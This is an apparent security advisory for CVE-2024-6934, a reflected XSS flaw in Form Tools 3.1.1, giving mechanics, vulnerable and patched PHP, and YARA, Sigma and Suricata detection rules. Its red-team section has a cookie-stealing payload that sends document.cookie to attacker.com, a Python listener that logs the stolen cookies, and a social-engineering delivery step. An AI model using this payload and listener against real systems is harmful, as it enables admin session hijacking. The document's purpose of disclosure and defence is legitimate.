CVE-2024-6934

Executive Summary

CVE-2024-6934 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in Form Tools 3.1.1, a web-based form management application. The flaw resides in the /admin/forms/add/step2.php endpoint, specifically when the submission_type parameter is set to direct. An attacker can inject arbitrary JavaScript or HTML via the Form URL argument, leading to stored or reflected XSS depending on how the input is persisted. The vendor (formtools.org) has not responded to disclosure, leaving users at risk. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of a proof-of-concept (PoC) increases the threat.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP application (Form Tools). No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.1 (Medium)
Threat Level: Medium – Public PoC exists, but no active exploitation observed.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Form URL parameter of /admin/forms/add/step2.php?submission_type=direct. The application fails to sanitize or encode user-supplied input before rendering it in the response. An attacker can craft a URL like:

http://target.com/admin/forms/add/step2.php?submission_type=direct&form_url=<script>alert('XSS')</script>

When an authenticated admin visits this link, the script executes in their browser context, potentially allowing session hijacking, defacement, or redirection to malicious sites. The submission_type=direct parameter is required to trigger the vulnerable code path.

Vulnerable vs. Patched Code

Vulnerable Code (Form Tools 3.1.1):
The form_url parameter is directly echoed without sanitization.

// /admin/forms/add/step2.php (vulnerable)
$form_url = $_GET['form_url'];
echo "<input type='text' name='form_url' value='$form_url'>";

Patched Code (Hypothetical):
Proper output encoding using htmlspecialchars().

// Patched version
$form_url = htmlspecialchars($_GET['form_url'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='form_url' value='$form_url'>";

No official patch has been released.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy Form Tools 3.1.1 on a local server (e.g., XAMPP).
2. Craft Payload:

   http://localhost/formtools/admin/forms/add/step2.php?submission_type=direct&form_url=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link to an authenticated admin via email or social engineering.
4. Capture: Set up a listener on attacker.com to receive stolen cookies.

Example Python listener:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open('log.txt', 'a') as f:
            f.write(self.path + '\n')
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

Blue Team (Defense & Detection)

1. Monitor HTTP logs for suspicious form_url parameters containing <script>, onerror, or javascript:.
2. Deploy WAF rules to block XSS patterns in query strings.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Use input validation on the server side (e.g., strip HTML tags from form_url).

Indicators of Compromise (IOCs)

• Network: HTTP requests to /admin/forms/add/step2.php?submission_type=direct&form_url= containing <script> tags or encoded JavaScript.
• Logs: Server access logs showing unusual form_url values.
• File: No file-based IOCs; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_6934_XSS_FormTools {
    meta:
        description = "Detects XSS attempts targeting Form Tools CVE-2024-6934"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6934"
    strings:
        $xss_pattern = /form_url=.*<script/i
        $xss_pattern2 = /form_url=.*onerror/i
        $xss_pattern3 = /form_url=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6934 XSS in Form Tools
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Form Tools /admin/forms/add/step2.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/admin/forms/add/step2.php?submission_type=direct&form_url='
        cs-uri-query|re: 'form_url=.*(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of form URLs with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6934 XSS in Form Tools"; flow:to_server,established; content:"/admin/forms/add/step2.php"; http_uri; content:"submission_type=direct"; http_uri; content:"form_url="; http_uri; pcre:"/form_url=.*(<script|onerror|javascript:)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the vulnerable endpoint or restrict access via .htaccess or firewall rules.
2. Short-term: Apply input validation and output encoding manually (see patched code example).
3. Long-term: Upgrade to a patched version if released, or migrate to an alternative form management solution.
4. Compensating Controls: Deploy a Web Application Firewall (WAF) with XSS rules, enforce Content Security Policy (CSP), and use HTTP-only cookies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert